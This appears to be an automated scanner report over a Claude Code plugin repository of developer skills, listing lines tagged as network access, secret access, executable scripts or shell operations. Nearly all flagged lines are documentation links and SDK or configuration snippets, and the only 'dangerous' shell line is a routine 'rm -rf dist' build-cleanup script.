  • Network accessline 257
    For per-language bindings beyond Python, WebFetch `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` (see `shared/live-sources.md`).

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-onboarding.md

  • Network accessline 73
    **Block 2 — Runtime (every invocation; conversational and Outcome shapes).** SDK code in the detected language (Python/TS/cURL — SKILL.md → Language Detection); don't emit shell loops here:
  • Network accessline 75
    1. Load `agent_id` + `env_id` from config/env 2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/defa
  • Network accessline 76
    2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/default/sessions/{session.id}` (swap `default` for
  • Network accessline 82
    Pull exact syntax from `{lang}/managed-agents/README.md` for your detected language (cURL and C#: use `curl/managed-agents.md` as the wire-level reference). Don't invent field names.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-outcomes.md

  • Network accessline 108
    For the raw HTTP shapes and per-language SDK bindings beyond Python, WebFetch `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` (see `shared/live-sources.md`).

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-overview.md

  • Network accessline 32
    **Which beta header goes where:** The SDK sets `managed-agents-2026-04-01` automatically on `client.beta.{agents,environments,sessions,vaults,memory_stores,deployments,deployment_runs}.*` calls, and `files-api-2025-04-14` / `skills-2025-10-
  • Network accessline 70
    - **Stream to get events** — `GET /v1/sessions/{id}/events/stream` is the primary way to receive agent output in real-time. - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent
  • Network accessline 71
    - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent.mcp_tool_use`, or `agent.custom_tool_use` is pending resolution (`user.tool_confirmation` for the first two, `user.custom_t
  • Network accessline 72
    - **Don't trust HTTP-library timeouts as wall-clock caps** — `requests` `timeout=(c, r)` and `httpx.Timeout(n)` are *per-chunk* read timeouts; they reset every byte, so a trickling connection can block indefinitely. For a hard deadline on r

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-scheduled-deployments.md

  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-self-hosted-sandboxes.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-tools.md

  • Network accessline 163
    {   "mcp_servers": [     { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }
  • Network accessline 164
    "mcp_servers": [     { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }   ],
  • Network accessline 165
    { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }
  • Access to secretsline 200
    [Credential-related source omitted]
  • Network accessline 228
    "auth": {     "type": "mcp_oauth",     "mcp_server_url": "https://mcp.notion.com/mcp",
  • Network accessline 229
    [Credential-related source omitted]
  • Network accessline 230
    "mcp_server_url": "https://mcp.notion.com/mcp",
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 234
    [Credential-related source omitted]
  • Network accessline 235
    "client_id": "<your OAuth client_id>",       "token_endpoint": "https://api.notion.com/v1/oauth/token",       "token_endpoint_auth": { "type": "none" }
  • Network accessline 236
    "token_endpoint": "https://api.notion.com/v1/oauth/token",
  • Access to secretsline 248
    [Credential-related source omitted]
  • Access to secretsline 249
    [Credential-related source omitted]
  • Access to secretsline 262
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/model-migration.md

  • Network accessline 452
    Haiku 4.5 has its own rate-limit pool separate from Haiku 3 / 3.5. If you're ramping traffic as you migrate, check your tier's Haiku 4.5 limits at [API rate limits](https://platform.claude.com/docs/en/api/rate-limits) — a quota that comfort
  • Network accessline 503
    If the code uses the `AnthropicBedrockMantle` client (Python `anthropic[bedrock]`, TypeScript `@anthropic-ai/bedrock-sdk`, Java `BedrockMantleBackend`, Go `bedrock.NewMantleClient`, etc.) or targets `https://bedrock-mantle.{region}.api.aws/
  • Network accessline 521
    If the code uses `AnthropicAWS` / `AnthropicAws` / `anthropicaws.NewClient` / `AnthropicAwsClient` (or targets `https://aws-external-anthropic.{region}.api.aws`), it is running on **Claude Platform on AWS** — Anthropic-operated, same-day AP

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/models.md

  • Network accessline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/tool-use-concepts.md

  • Network accessline 99
    Set a `max_continuations` limit (e.g., 5) to prevent infinite loops. For the full guide, see: `https://platform.claude.com/docs/en/build-with-claude/handling-stop-reasons`
  • Network accessline 219
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling`
  • Network accessline 229
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool`
  • Network accessline 312
    model="claude-opus-5", max_tokens=1024,     betas=["mcp-client-2025-11-20"],     mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],
  • Network accessline 313
    betas=["mcp-client-2025-11-20"],     mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],     tools=[{"type": "mcp_toolset", "mcp_server_name": "example-mcp"}],
  • Network accessline 314
    mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],
  • Network accessline 332
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/implement-tool-use`
  • Network accessline 342
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/computer-use/overview`
  • Network accessline 354
    - URL: `https://platform.claude.com/docs/en/build-with-claude/context-editing`
  • Network accessline 419
    - Docs: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md`
  • Network accessline 435
    | Language | Declaration | |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` |
  • Network accessline 436
    |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | | Go | `anthropic.ToolUnionParam{OfBashTool20250124: &anthropic.ToolBash20250124Param{}}` |
  • Network accessline 437
    | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` |
  • Network accessline 523
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview`

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/vendor-guide.md

  • Network accessline 22
    1. **The official Anthropic SDK** for the project's language (`anthropic`, `@anthropic-ai/sdk`, `com.anthropic.*`, etc.). This is the default whenever a supported SDK exists for the project. 2. **Raw HTTP** (`curl`, `requests`, `fetch`, `ht
  • Network accessline 23
    2. **Raw HTTP** (`curl`, `requests`, `fetch`, `httpx`, etc.) — only when the user explicitly asks for cURL/REST/raw HTTP, the project is a shell/cURL project, or the language has no official SDK.
  • Network accessline 27
    **Never guess SDK usage.** Function names, class names, namespaces, method signatures, and import paths must come from explicit documentation — either the `{lang}/` files in this skill or the official SDK repositories or documentation links
  • Network accessline 102
    Every SDK language above supports both the beta Tool Runner and Managed Agents (beta) — Python (`@beta_tool` decorator), TypeScript (`betaZodTool` + Zod), Java (annotated classes), Go (`BetaToolRunner` in the `toolrunner` pkg), Ruby (`BaseT
  • Network accessline 189
    **Partner pricing:** The prices above are Anthropic first-party API rates — they also apply to Claude on Microsoft Foundry, which is billed through the Microsoft Marketplace at standard API rates. Claude on Amazon Bedrock and Vertex AI is p
  • Access to secretsline 213
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Network accessline 217
    - **SDK code or `ant` CLI:** just run it. The zero-arg client constructor and every `ant …` subcommand pick up the profile automatically — no env var needed. - **Raw `curl` / HTTP:** get a short-lived token with `ant auth print-credentials 
  • Network accessline 218
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Network accessline 289
    | C# | `Betas = ["fast-mode-2026-02-01"]` | `Speed = Speed.Fast` (`Anthropic.Models.Beta.Messages`) | | PHP | `betas: ['fast-mode-2026-02-01']` | `speed: 'fast'` | | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` i
  • Network accessline 291
    | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` in body |
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 462
    [Credential-related source omitted]
  • Network accessline 470
    **All SDK languages use the same multi-file layout** — directory `{lang}/claude-api/` containing `README.md` (install, client init, basic request, thinking, caching, stop details, misc), `tool-use.md` (tool definitions, agentic loop, Anthro

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/README.md

  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 96
    {           type: "image",           source: { type: "url", url: "https://example.com/image.png" },
  • Network accessline 97
    type: "image",           source: { type: "url", url: "https://example.com/image.png" },         },
  • Network accessline 98
    source: { type: "url", url: "https://example.com/image.png" },

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/tool-use.md

  • Network accessline 493
    - `https://github.com/anthropics/anthropic-sdk-typescript/blob/main/examples/tools-helpers-memory.ts`

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for TypeScript. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the TypeScript SDK repo **or the relevant docs page
  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 68
    ); console.log(session.id, session.status); console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 70
    console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 105
    {         type: "github_repository",         url: "https://github.com/owner/repo",
  • Network accessline 106
    type: "github_repository",         url: "https://github.com/owner/repo",         mount_path: "/workspace/repo",
  • Network accessline 107
    url: "https://github.com/owner/repo",
  • Access to secretsline 109
    [Credential-related source omitted]
  • Network accessline 341
    model: "claude-opus-5",   mcp_servers: [     { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },
  • Network accessline 342
    mcp_servers: [     { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },   ],
  • Network accessline 343
    { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },

harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 58
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 60
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/claude-code/plugins/open-horizons-platform/skills/github-cli/scripts/setup-github-app.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 61
    $(basename "$0") --github-org myorg --app-name myorg-backstage \\         --homepage-url https://backstage.example.com \\
  • Network accessline 62
    --homepage-url https://backstage.example.com \\
  • Network accessline 63
    --callback-url https://backstage.example.com/api/auth/github/handler/frame \\
  • Network accessline 67
    $(basename "$0") --github-org myorg --app-name myorg-backstage \         --homepage-url https://backstage.example.com \
  • Network accessline 68
    --homepage-url https://backstage.example.com \
  • Network accessline 69
    --callback-url https://backstage.example.com/api/auth/github/handler/frame \
  • Network accessline 73
    $(basename "$0") --github-org myorg --app-name myorg-argocd \\         --homepage-url https://argocd.example.com \\
  • Network accessline 74
    --homepage-url https://argocd.example.com \\
  • Network accessline 75
    --callback-url https://argocd.example.com/api/dex/callback \\
  • Network accessline 248
    log_warning "GitHub Apps must be created via web UI:"     echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"
  • Network accessline 249
    echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"     echo ""
  • Network accessline 250
    echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"
  • Network accessline 291
    log_warning "OAuth Apps must be created via web UI:"     echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"
  • Network accessline 292
    echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"     echo ""
  • Network accessline 293
    echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"
  • Access to secretsline 319
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 336
    [Credential-related source omitted]
  • Access to secretsline 359
    [Credential-related source omitted]
  • Access to secretsline 386
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 435
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/github-codespaces-golden-paths/references/devcontainer-templates.md

  • Network accessline 212
    [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/${{ values.repoUrl }}?quickstart=1)

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-harness-engineering/SKILL.md

  • Network accessline 125
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 162
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-sdk/SKILL.md

  • Network accessline 111
    - [GitHub Copilot SDK](https://github.com/github/copilot-sdk)

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/skills/github-issue-ops/dispatcher.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 199
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/github-issue-ops/test_dispatcher.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 26
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 27
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 55
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 56
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 57
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 58
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 115
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 116
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 117
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/claude-code/plugins/open-horizons-platform/skills/microsoft-code-reference/SKILL.md

  • Network accessline 8
    metadata:   compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 9
    compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use     the mslearn CLI as a fallback.
  • Network accessline 10
    Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 139
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)

harness/claude-code/plugins/open-horizons-platform/skills/microsoft-docs/SKILL.md

  • Network accessline 139
    - [Aspire docs MCP tools announcement](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
  • Network accessline 140
    - [Aspire PR #14028](https://github.com/dotnet/aspire/pull/14028)

harness/claude-code/plugins/open-horizons-platform/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 8
    metadata:   compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 9
    compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use     the mslearn CLI as a fallback.
  • Network accessline 10
    Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 31
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 106
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 164
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
  • Network accessline 165
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 166
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg-feature/scripts/validate_aeg_contract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-ai-catalog/SKILL.md

  • Network accessline 75
    - [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-authentication/SKILL.md

  • Network accessline 97
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 98
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 99
    - [Microsoft Entra ID provider](https://backstage.io/docs/auth/microsoft/provider)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog-db-performance/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/azure-devops.md

  • Network accessline 34
    - <https://backstage.io/docs/integrations/azure/locations>
  • Network accessline 35
    - <https://backstage.io/docs/integrations/azure/discovery>
  • Network accessline 36
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/azure-devops>

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/github.md

  • Network accessline 27
    First-party source: <https://backstage.io/docs/integrations/github/github-apps>.

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/servicenow.md

  • Network accessline 32
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/servicenow>
  • Network accessline 33
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/scaffolder-backend-module-servicenow>

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-framework/SKILL.md

  • Network accessline 73
    - [Backstage framework index](https://backstage.io/docs/framework/generated-index)
  • Network accessline 74
    - [Stable API reference](https://backstage.io/api/stable)
  • Network accessline 75
    - [Core backend service APIs](https://backstage.io/docs/backend-system/core-services/)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-kubernetes/SKILL.md

